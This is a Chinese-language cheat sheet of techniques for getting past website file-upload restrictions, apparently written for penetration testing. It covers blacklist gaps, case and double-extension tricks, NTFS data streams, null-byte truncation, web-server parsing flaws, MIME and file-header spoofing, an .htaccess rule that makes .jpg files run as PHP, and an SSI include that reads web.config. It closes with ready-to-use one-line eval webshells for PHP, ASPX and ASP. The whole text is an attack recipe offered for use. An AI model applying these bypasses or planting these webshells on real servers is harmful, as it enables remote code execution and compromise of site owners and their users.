文件上传各种检测绕过
目录
- 文件上传流程检测
- 文件上传绕过
0x00文件上传流程检测
1.客户端javascript来检测(前端验证):fileext:扩展名,黑,白名单
2.服务端检测mime内容:http头:content-type:image/gif、php
3.服务端检测路径相关参数:path
4.服务端检测扩展选项,扩展名
5.服务端检测:文件头,文件加载,getimagesize,exif_imagetype
0x01文件上传绕过
1.如没有任何限制,直接上传
2.绕过黑名单:blacklist:明确禁止上传类型:fileext:exe、asp,aspx,asa,asax,ascx,asmx,ashx等
漏网之鱼:a.cer:证书 a.cdx:复保索引
a.exee a.com a.vbs a.bat a.hta
3.a#2easp
4.文件后缀后加空格(burp修改):a.asp空格
5.后缀加点.:a.asp.
6.大小写:a.AsP a.ASP
7.后缀替换为空:
8.双写:a.aaspsp a.asaspp
9.ads流文件上传绕过
列:
echo aaaa>a.txt
echo bbbb>a.txt:b.txt
查看:dir /r
结果:a.txt:b.txt:$DATA
利用:流文件:一句话
上传利用:c.php::$DATA
连接:c.php
10.图片和一句话木马合并:
copy a.jpg/b+yi.asp/a b.jpg
winhex,010ed,ue:空白区:插入一句话
11.绕白名单:只允许上传jpg
c.asp;.jpg
前提:上传后的文件名不能变化
12.过白名单:
win2003:iis6.0:
建立文件夹:aa.asp里面放c.jpg(webshell)
当作asp脚本解析
13.过白名单:nullbyte:系统自动截断
php<=5.2
a.php.jpg---burp截断---hex---最后一个点:2e-改为00
14.apache解析漏洞:
1)mime.types:
2)由右到左:c.php.aaa
3)扩展名:php php2 php3 php5 phtml
15.nginx解析漏洞:开启cgi:SCRIPT_NAME FASTCGI:
1)www.xx.com/a.jpg/.php(任何不存在文件)-----可以解析为.php文件
2)a.jpg:<?php phpinfo();?>
a.php%00.jpg----解析为a.php
16.绕过客户端javascript脚本:
1)f12:禁用
2)代理绕过:考试 a.jpg--burp--a.php3
3)修改前端代码绕过
17.绕过服务端mime检测:
burp---content-type:
image/jpeg image/gif image/*
php php3 php5
18.黑名单没有限制:.shtml
ssi:<--#include file="..\..\web.config" -->
19.后台编辑器漏洞:fck,eweb
20:后台功能:病毒搜索关键字,模板利用
dedecms:文件式管理器
21:.htaccess pts:
AddType application//x-httpd-php .jpg
.jpg当作php脚本解析
22.查看源码---另存为:本地修改提交
allow=no 改为Yes
初始赋值:value=1 上传正确 value=2失败改为1
action='上传地址'
23.绕过文件头检测
伪造文件头:GIF89a
WINhex,ue,010:空白处添加一句话木马
24.burp截包加空格:关键字前加空格
>>中国菜刀,一句话;
PHP
<?php @eval($_POST['a']);?>
.net:aspx
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>
asp
<%eval request ("pass")%>